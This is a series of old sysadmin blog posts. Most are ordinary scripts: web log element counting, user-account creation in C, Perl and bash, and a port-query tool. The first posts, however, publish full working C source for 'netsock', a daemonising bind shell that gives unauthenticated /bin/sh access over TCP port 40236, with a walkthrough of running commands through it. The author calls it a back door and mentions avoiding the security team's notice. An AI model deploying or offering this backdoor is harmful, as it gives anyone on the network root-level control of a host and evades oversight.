Now, we can start to have some fun :) Using the backtick operators to execute an "eval" statement and echoing that, we can actually do something, and get confirmation back on our terminal!:

echo `eval ls`
netsock netsock.c
<--- This will always pump the output out on one line, so if you have a lot of files in your directory, you'll get back a long long line.
echo `eval pwd`
/export/user/bin
echo `eval id`
uid=0(root) gid=0(root) groups=0(root)
<--- This will be your PID if you started the program, which may be good enough if you just need to get in and do something that doesn't require privilege. Note that this program runs the shell on the socket under the UID and GID of the user that invokes it (or their effective UID and GID at that time)
echo `eval touch TOUCHY`
<--- We'll touch something, just to see if it works. Of course, we get no terminal response to indicate success, but that's normal since we don't have a prompt to return to.

Now, if we disconnect from the Telnet connection and do an ls, we should have an extra file waiting for us:

^]
telnet> q
Connection closed.
host # ls
. .. netsock netsock.c TOUCHY


Good deal :) Now we'll write a simple script and see if we can execute it from the shell attached to the network port. If this works, it'll be much easier to stage work for the future:

host # vi test.sh
host # chmod 700 test.sh
host # cat test.sh
mkdir a
cd a
touch file
echo "ALL SET"
host # telnet localhost 40236
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
echo `eval ./test.sh`
ALL SET


And we get the output we expected! Just need to disconnect from Telnet again and check to make sure it actually did everything it was supposed to, and not just run the echo statement.

^]
telnet> q
Connection closed.
host # ls
. .. netsock netsock.c TOUCHY
a
host # ls a
. .. file


Success! Here's hoping this "how to" and compilation-assistance post helps you get more out of this program. If you haven't got the code already, please check out our post on running a shell on a network socket and have a blast!

Just, please, be considerate of others :)

Best wishes,

, Mike




Monday, April 7, 2008

Running A Linux Or Unix Shell On A Network Socket

Hey There,

Thought we'd start the week off with something interesting and off the administrative path. Today's post is c code that can be compiled simply, using GCC (or your favorite compiler), like so:

host # gcc -o netsock -o netsock.c

and works, at a basic level, by creating a socket (much like our earlier posts on ethically scanning ports), calling a bind operation on it and then duplicating the already existing file descriptors (which allows you to use it interactively, utilizing the server's most basic shell).

One note should be made that, depending upon how your terminal, or server, deals with stty's echo variations, you may have to be creative and "type in the dark" to get results back once you connect. Lots of socket and/or terminal I/O issues are possible and, on several machines I've tested this on, I had to be a little clever to get the shell to respond correctly. You'll see what I mean ;)

Some of this code was written by me today, some of it was written by me previously and ripped from older programs and some was collected by me over the years in helpful examples from other folks, but I think the outcome (maybe due to these facts) is fairly unique. I only wish I could give credit to the people who wrote some of the snippets of code I have on my hard drive. If you're out there and can recognize your contribution within this program: Thank you :)

This code may require some modification depending upon where your server's include files are. This was compiled and tested on an older Solaris 2.6 box. Unfortunately, this sort of activity is too high profile to test on any of our more recent machines, since the security department is always looking for signs of an attack on the newer (and production) servers.

During compile time, if you get an error like this:

sys/byteorder.h: No Such File Or Directory

You can fix that by changing that include line from:

#include <sys/byteorder.h>

to

#include <sys/endian.h>

and another common error - " error: too few arguments to function `setpgrp'"

can be remedied by changing:

setpgrp();

to:

setpgrp(getpid(),0);

or:

setpgrp(getpid(),getpid()); <--- If you're not root and going to run this on a port higher than 1024.

Once it's compiled, just Telnet to the port and you've got a shell connection on your internet socket!

host # telnet localhost 40236
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
^]


This, of course, is being published to demonstrate a principle (much like our older post on generating every possible password in a shadow file), but it could be used for more "counter-productive" reasons ;) Ethically, again, I can't recommend that you use this for any reason other than to say you did it and have a little good honest fun :) Note that the "port" defined near the top of the code is arbitrary. I try to pick one that doesn't get used very often. No sense in running this on port 80 on a web server, since a back door shouldn't be too obvious, by definition ;)

In a future post, I'll port this to Perl (I won't be porting this one to shell script, since direct socket manipulation is almost never done at that level - at least, I've never seen it. ...possible extra future post? ;)

For those of you are into doing the porting thing yourselves, checking out our previous posts on checking whether your web server is up and forked socket scripting in Perl should point you in the right direction. I think everything you'll need is in those two posts except for the file descriptor duplication (dup2) functionality.

Enjoy! Hope your week is starting off well and be careful :)


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

/*****************************************************
* netsock.c - Open up a shell on a network socket
*
* 2008 - Mike Golvach - eggi@comcast.net
*
*Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
*****************************************************/
#define PORT 40236
#include <netdb.h> // gethostbyname
#include <signal.h> // sigignore
#include <stdio.h> // printf, sizeof, fputs, close
#include <stdlib.h> // exit
#include <strings.h> // bzero, strlen
#include <unistd.h> // fork, read, write
#include <arpa/inet.h> // inet_addr
#include <netinet/in.h> // sockaddr_in
#include <sys/byteorder.h> // htons, htonl
#include <sys/socket.h> // socket, bind, connect, listen, accept, sockaddr
#include <sys/uio.h> // recv

oops(char *message)
{
perror(message);
exit(1);
}

int socket_des, socket_cli, socket_rc, socket_len, server_pid, cli_pid;
struct sockaddr_in serv_addr; struct sockaddr_in client_addr;

int main ()
{
socket_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (socket_des == -1) exit(-1);

bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
socket_rc = bind(socket_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
if (socket_rc != 0) exit(-1);

if (fork() != 0) exit(0);

setpgrp();
signal(SIGHUP, SIG_IGN);

if (fork() != 0) exit(0);

socket_rc = listen(socket_des, 5);
if (socket_rc != 0) exit(0);

while (1) {
socket_len = sizeof(client_addr);
socket_cli = accept(socket_des, (struct sockaddr *) &client_addr, &socket_len);
if (socket_cli < 0) exit(0);

cli_pid = getpid();
server_pid = fork();

if (server_pid != 0) {
dup2(socket_cli,0);
dup2(socket_cli,1);
dup2(socket_cli,2);
execl("/bin/sh","sh",(char *)0);
close(socket_cli);
exit(0); }

close(socket_cli);
}

}


, Mike




Tuesday, March 11, 2008

Webserver Access Log HTML Element Counting - Improved!

Hey There,

Today's post is a follow up on a post we did not too long ago on using bash to help report on web server usage. In it, we introduced a now somewhat-infamously top-heavy bash shell script to look for whatever elements you wanted to find in your web server's access log and report counts on them.

Thanks for today's new and improved version goes to a gentleman by the name of Phil who was kind enough to show me a thing or two by posting his own rewrite of that element count script on our forum :) While I was approaching the script with a more "editor-trick" stream-of-conscience approach, my script was a bit slow. Since I was tracking all my grep's quietly, then checking the status of errno and then updating my counts for all elements invidually on each line, it had the built in potential to take some time to run.

I think you'll like what Phil has done with it and appreciate the brevity of his version of the script. It also runs much cleaner and faster. For instance, when compared with my original script, the timing differential was significant when run against an access log with only about 500 lines.

The following are real tested numbers (I would never lie about my script being slower ;)

host ./original_htmlElementcount.sh:

real 0m3.358s
user 0m1.201s
sys 0m2.216s

host ./new_htmlElementcount.sh

real 0m0.108s
user 0m0.092s
sys 0m0.020s


And, for those of you asking the question, the difference between 3 seconds and 1/10th of 1 second can become astronomical, assuming an extension in time-to-run commensurate with the size of the log file. Most access files are much larger than 500 lines (At companies that can still afford to pay the electric ;)

I think the biggest point to take away from this is that the shell can do things a lot faster on its own than when it has to pull in external commands. You'll notice that, in the new script, the entire file is read and acted upon all at once and only once. In the previous reporting script, we iterated through each line and did repetitive work. You'll notice also, that egrep and mixed-case range operators are used to do the matching, which, as it turns out, is quite a bit faster than using the -i option to grep.

And the best thing of all is that this is still a great example of porting from our Perl log element reporting script. In fact, it probably helps make that Perl script, and the porting process, more easily understandable by showing it from an alternate perspective!

Thanks, again, for your contribution, Phil :)

Cheers,

#!/bin/bash

#
# htmlElementcount.sh


function die {
echo "$*" >&2 ; exit 1
}

[ 1 -ne $# ] && die "usage: $(basename $0) LOG_FILE"
[ ! -e $1 ] && die "LOG_FILE [$1] does not exist"
[ ! -s $1 ] && die "LOG_FILE [$1] is empty"

cat <<EOF
Page Hits
$(wc -l < $1 | tr -d ' ') pages accessed - Form Elements Processed:
$(egrep -c '[.][Hh][Tt][Mm][Ll]' $1| tr -d ' ') html pages accessed
$(egrep -c '[.][Gg][Ii][Ff]' $1| tr -d ' ') GIF files accessed
$(egrep -c '[.][Jj][Pp][Gg]' $1| tr -d ' ') jpg files accessed
EOF

exit 0


, Mike




Sunday, February 17, 2008

Bash Shell Script - Part III Of C/Shell/Perl Porting.

Good Morning,

Today's bash shell script version of our 3 part porting post, all alliteration aside, wraps up this little experiment and, hopefully, helps tie it all together.

Please note the warning, posted yesterday, about the dangers of actually using this code plain-vanilla and keep in mind that our objective here was to show how the same objective can be accomplished using, and translated between, C code, Perl and shell script.

You can see how today's code looks written in C in our previous post on C code to add user accounts that we kicked this thing off with. Then, if you like, you can check out, virtually, the exact same thing in Perl on our previous post regarding using Perl to create user accounts.

Today's script should run equally well on both Linux and Unix. If you don't use the bash shell, or don't have it installed on your version of Unix or Linux, minor modifications to this script may be necessary, but they won't be quite as intense as the difference between this script and, say, our previous C code or Perl script.

If you do choose to revisit those previous posts, hopefully we've covered enough ground in each for you to notice the things in each that are wildly different and the things that are practically the same. Next week, amongst other things, we'll continue to look at porting between languages, but at a more specific level (which will also allow us to look at C, Perl and Shell concepts within the same post :)

Hope you enjoy this, and have a restful Sunday :)


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/bash

#
# adduser.sh
#
# Add Users, Set Up Profiles,
# Set The Password And Email
# An Admin
#
# 2008 - Mike Golvach - eggi@comcast.net
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

trap 'rm -f $home/.profile;exit 3' 1 2 3

if [ $# -ne 3 ]
then
echo "Usage: $0 [dirname - no slashes ] [ logname ] [ comment - in quotes ]"
exit 1
fi

userdir=$1
username=$2
commentfield="$3"
home="/${1}/${2}"
argument2=${#username}

if [ $argument2 -gt 8 -o $argument2 -lt 5 ]
then
echo "Please choose a logname between 5 and 8 characters!"
exit 1
fi

count=`awk -F":" '{print $3}' /etc/passwd|sort -n|tail -1`
let usernumber=$count+1

echo
echo "Check this out before proceeding!!!"
echo "-----------------------------------"
echo "Logname: $username"
echo "Homedir: $home"
echo "Comment: $commentfield"
echo "-----------------------------------"
echo
echo
echo "All of this ok?"
echo
echo "y or n"
echo

read reply

if [ $reply = "n" -o $reply = "N" ]
then
echo
echo "All right, give it another shot if you want!"
exit 0
elif [ $reply = "y" -o $reply = "Y" ]
then
:
else
echo "Only y or n - case insenstive allowed"
echo "Try Again"
exit 1
fi

echo "$username:x:$usernumber:1:$commentfield:/${userdir}/$username:/bin/ksh" >>/etc/passwd

echo "$username:*LK*:::::::" >>/etc/shadow

mkdir -m 0755 $home
cd $home

echo "stty istrip" >>.profile
echo "PATH=/bin:/usr/bin:/usr/local/bin:/usr/share/bin:." >>.profile
echo "export PATH" >>.profile
echo
echo

chown $username $home
chown ${usernumber}:1 .profile
chmod 0644 .profile

(echo "To: devnull@host.com";echo "Subject: New User Added!!!";echo;echo "$commentfield";echo "has a new account set up!";echo "The email address is ${username}@host.com!";echo;echo "Thank you,";echo " Mike Golvach")|/usr/lib/sendmail -t

echo
echo "All Done!!!"
echo
echo "Now set the Password!"
echo
/usr/bin/passwd $username
echo
echo "Password set!!! Take a break..."


, Mike




Saturday, February 16, 2008

Perl Script For User Account Addition - C/Shell/Perl Porting Part II

Hey there,

NOTE: Code revision 2/16/08 --
$home = "$ARGV[0]/$ARGV[0]";
should be
$home = "$ARGV[0]/$ARGV[1]";
Code below updated - thanks to the folks who caught that :)


A brief note before we lay bare today's script. This script, and all the scripts we use here to demonstrate how to port between C, Perl and shell code are all just examples. It is not advised that you actually use these scripts to directly manipulate your system passwd and shadow files. It shouldn't cause a problem, but facilities exist to do this already (If you do use these, run "pwconv" afterward, just in case). This working code/script is merely meant to demonstrate principles of porting between languages.

Now that we have gloom and doom out of the way, let's check out today's version of the C code to add user accounts that we introduced yesterday. This should run equally well on both Linux and Unix - Pick a flavor.

The most obvious thing you'll notice with today's Perl code is that it's a lot easier to read and understand. Porting from C to Perl has demystified a lot of what we're actually doing. And the shell script to come tomorrow will make the process (and actions involved) even more accessible :)

If you find that you have any issues with the code (anything seems presumptuous or convoluted), please refer back to yesterdays post on the original C code, as a lot of those issues were addressed up front.

Hope you enjoy this, and best wishes :)


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/bin/perl

#
# adduser.pl
#
# Add Users, Set Up Profiles,
# Set The Password And Email
# An Admin
#
# 2008 - Mike Golvach - eggi@comcast.net
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

if ( $#ARGV != 2 ) {
print "Usage: $0 [dirname - no slashes ] [ logname ] [ comment - in quotes ]\n";
exit(1);
}

$userdir = $ARGV[0];
$username = $ARGV[1];
$commentfield = $ARGV[2];
$home = "$ARGV[0]/$ARGV[1]";
@argument2 = split(//,$ARGV[1]);
$argument2 = @argument2;

if ( $argument2 > 8 || $argument2 < 5 ) {
print "Please choose a logname between 5 and 8 characters!\n";
exit(1);
}

$SIG{'HUP'} = 'IGNORE';
$SIG{'INT'} = 'IGNORE';

$count = `awk -F":" '{print \$3}' /etc/passwd|sort -n|tail -1`;
chomp($count);
$usernumber = $count++;

print "\n";
print "Check this out before proceeding!!!\n";
print "-----------------------------------\n";
printf("Logname:\t%s\n", $username);
printf("Homedir:\t/%s/%s\n", $userdir, $username);
printf("Comment:\t%s\n", $commentfield);
print "-----------------------------------\n";
print "\n";
print "\n";
print "All of this ok?\n";
print "\n";
print "y or n\n";
print "\n";

$reply = <STDIN>;
chomp($reply);

if ( $reply =~ /n/i ) {
print "\n";
print "All right, give it another shot if you want!\n";
exit(0);
} elsif ( $reply =~ /y/i ) {
true;
} else {
print "Only y or n - case insenstive allowed\n";
print "Try Again\n";
exit(1);
}

open(A, ">>/etc/passwd");
print A "$username:x:$usernumber:1:$commentfield:/${userdir}/$username:/bin/ksh\n";
close(A);

open(A, ">>/etc/shadow");
print A "$username:*LK*:::::::\n";
close(A);

mkdir($home, 0755);
chdir "$home";

open(A, ">>.profile");
print A "stty istrip\n";
print A "PATH=/bin:/usr/bin:/usr/local/bin:/usr/share/bin:.\n";
print A "export PATH\n";
print A "\n";
print A "\n";
close(A);

chown($home, 1, $username);
system("chown ${usernumber}:1 .profile");
system("chmod 0644 .profile");

open(MAILER, "|/usr/lib/sendmail -t") or die "Cannot Open Sendmail!\n";
print MAILER "To: devnull\@xyz.com\n";
print MAILER "Subject: New User Added!!!\n";
print MAILER "\n";
print MAILER "$commentfield\n";
print MAILER "has a new account set up!\n";
print MAILER "The email address is $username\@host.com!\n";
print MAILER "\n";
print MAILER "Thank you,\n";
print MAILER "\t Mike Golvach\n";
close(MAILER);

print "\n";
print "All Done!!!\n";
print "\n";
print "Now set the Password!\n";
print "\n";
system("/usr/bin/passwd $username");
print "\n";
print "Password set!!! Take a break...\n";


, Mike




Friday, February 15, 2008

C Code To Add User Accounts And Introduce C/Shell/Perl Porting.

Ahoy (I've always wanted to use that greeting ;)

Today, we're putting out a little (?) c code we wrote to standardize user account creations across any sized environment on Unix or Linux (slight modifications may need to be made depending on your environment).

C code isn't generally what we concentrate on in this blog, but we thought it would be interesting to put this out today, and follow it up with the exact same script in ksh/bash and Perl on the next successive days. Kind of a slam-bang intro to porting (Which, you may recall, we began a long time - and many scripts - ago - in this post on the shebang line.

We will, eventually, come full circle with that. It's the blessing and the curse of a blog like this: There's so much to write about and share that maintaining a really specific thread (especially a long one) can sometimes take a while and be presented in a scatter shot manner. Thank goodness for HTML hyperlinks ;)

Note that, in the code below, everything is set up to be interactive and only a few assumptions are made (which you can, of course, change to your liking). We'll keep them consistent between ports of this code, so it's easier to follow, but none of this stuff is set in stone.

Things to look for in this c code that you might want to change and/or may be confusing:

1. The "userdir" variable is the main user directory (like "/users" or something), except we ask that no slashes be used in the input. We actually do ask that in the code itself. We tried to keep it polite ;)

2. The "username" variable is used to both name the user and his/her account. So the user "bobby" would have a home directory of "/users/bobby" in this case.

3. After the fopen of /etc/passwd, we've hard coded the group number to "1" and the shell to "/bin/ksh"

4. You can change anything about this c code that you want to. This code is actually utile, but is also being used as a massive example of porting that we'll explore in the following few posts.

5. You can compile this program easily with gcc, like so:

host # gcc -o whateverNameYouWantToCallTheBinary adduser.c

For now, whether it makes sense to you or not, enjoy!

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License


#include
#include
#include
#include
#include

/* adduser.c
Add Users, Set Up Profiles,
Set The Password And Email
An Admin
2008 - Mike Golvach - eggi@comcast.net
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
*/

main(int argc, char **argv)
{

struct passwd *userlist;
int count, usernumber;
FILE *tmp, *stmp, *mailer, *profile;
char *commentfield, *username, *userdir, *home;
char *mailcomment, *mailemail, reply;

commentfield = (char *)malloc(1024*sizeof(char));
username = (char *)malloc(8*sizeof(char));
userdir = (char *)malloc(256*sizeof(char));
home = (char *)malloc(256*sizeof(char));
mailcomment = (char *)malloc(1024*sizeof(char));
mailemail = (char *)malloc(512*sizeof(char));

if (argc != 4) {
printf("Usage: %s [dirname - no slashes ] [ logname ] [ comment - in quotes ]\n", argv[0]);
exit(1);
}

if (strlen(argv[2]) > 8 || strlen(argv[2]) < 5) {
printf("Please choose a logname between 5 and 8 characters!\n");
exit(1);
}

signal(SIGHUP, SIG_IGN);
signal(SIGINT, SIG_IGN);

setpwent();

count = 0;

while ((userlist = getpwent()) != NULL) {
if (count < userlist->pw_uid) {
count = userlist->pw_uid;
usernumber = count+1;
}
}

endpwent();

sprintf(commentfield, "%s", argv[3]);
sprintf(userdir, "%s", argv[1]);
sprintf(username, "%s", argv[2]);
sprintf(home, "/%s/%s", argv[1], argv[2]);

printf("\n");
printf("Check this out before proceeding!!!\n");
printf("-----------------------------------\n");
printf("Logname:\t%s\n", username);
printf("Homedir:\t/%s/%s\n", userdir, username);
printf("Comment:\t%s\n", commentfield);
printf("-----------------------------------\n");
printf("\n");

printf("\n");
printf("All of this ok?\n");
printf("\n");
printf("y or n [n is the default]\n");
printf("\n");

scanf("%c", &reply);

if ( reply != 'y') {
printf("\n");
printf("All right, give it another shot if you want!\n");
exit(0);
}

tmp = fopen("/etc/passwd", "a");
fprintf(tmp, "%s:x:%d:1:%s:/%s/%s:/bin/ksh\n", username, usernumber, commentfield, userdir, username);
fclose(tmp);

stmp = fopen("/etc/shadow", "a");
fprintf(stmp, "%s:*LK*:::::::\n", username);
fclose(stmp);

mkdir(home, 0755);
chdir(home);

profile = fopen(".profile", "a");
fprintf(profile, "stty istrip\n");
fprintf(profile, "PATH=/bin:/usr/bin:/usr/local/bin:/usr/share/bin:.\n");
fprintf(profile, "export PATH\n");
fprintf(profile, "\n");
fprintf(profile, "\n");
fclose(profile);

chown(home, usernumber, 1);
chown(".profile", usernumber, 1);
chmod(".profile", 0644);

if ((mailer = popen("/usr/lib/sendmail -t", "w")) == NULL) {
perror("Mailer");
exit(1);
}

sprintf(mailcomment, "%s\n", commentfield);
sprintf(mailemail, "The email address is %s@host.com!\n", username);

fputs("To: bob@host.com\n", mailer);
fputs("Subject: New User Added!!!\n", mailer);
fputs("\n", mailer);
fputs(mailcomment, mailer);
fputs("has a new account set up!\n", mailer);
fputs(mailemail, mailer);
fputs("\n", mailer);
fputs("Thank you,\n", mailer);
fputs("\t Mike Golvach\n", mailer);

pclose(mailer);

printf("\n");
printf("All Done!!!\n");
printf("\n");
printf("Now set the Password!\n");
printf("\n");
execl("/usr/bin/passwd", "passwd", username, NULL);
printf("\n");
printf("Password set!!! Take a break...\n");

}


, Mike




Monday, December 31, 2007

Network Port Querying Script

Hey there,

The script I've put together here was originally written to meet a certain demand. That demand was actually my own, but that's beside the point ;)

This script should come in useful for you if you ever need to query a port and find out what's going on with it (like who's using it and/or what process id is associated with it). It's simple to invoke (taking only the port number as its argument) and produces information that can be a great aid in troubleshooting network connection issues.

If you refer back to this previous post you can check out a small walkthrough regarding how to query a port using lsof and/or the proc commands. This script uses lsof also, but combines it with netstat to produce output in an easy to read format, while grabbing a little more information in the process. Assuming we call it portquery, it can be invoked like this:

host # ./portquery 22 <--- Let's just see what's going on with SSH

and it will produce output for you like the following. Note that it produces a formatted output block for every single process connected to a port. On a high-traffic machine, checking SSH might produce a few pages of output. This is what it looks like when it's run:

Port 22 Information :
Service = sshd
PID = 469
User = root
Protocol = TCP
Status = LISTEN
Port 22 Information :
Service = sshd
PID = 469
User = jimmy88
Protocol = TCP
Status = LISTEN


...and the list goes on to print out information blocks for every PID attached to that port. This script has been a great help for me not only in that it makes a manual process automatic, but also in that it's easy for other non-admins to read.

Here's hoping you have some use for it :)

Best Wishes,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/ksh

#
# 2007 - Mike Golvach - eggi@comcast.net
#
# Usage: portquery [port number]
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

trap 'exit' 1 2 3 9 15
if [ $# -ne 1 ]
then
echo "Usage: $0 portNumber"
exit 1
fi

portnumber=$1

/bin/netstat -a |grep -w "$portnumber" >/dev/null 2>&1

if [ $? -ne 0 ]
then
echo "Nothing's listening on - or using - port $portnumber"
exit 1
fi

/usr/local/bin/lsof 2>&1|grep -v "^lsof:"|grep -w $portnumber 2>&1|while read x
do
portinfo=`echo $x|awk '{print $1 " " $2 " " $3 " " $4 " " $5 " " $6 " " $7 " " $8 " " $9 " " $10}'`
echo "Port $portnumber Information :"
echo " Service = `echo $portinfo|awk '{print $1}'`"
echo " PID = `echo $portinfo|awk '{print $2}'`"
echo " User = `echo $portinfo|awk '{print $3}'`"
echo " Protocol = `echo $portinfo|awk '{print $8}'`"
echo " Status = `echo $portinfo|awk '{print $10}'|sed 's/(//'|sed 's/)//'`"
done



, Mike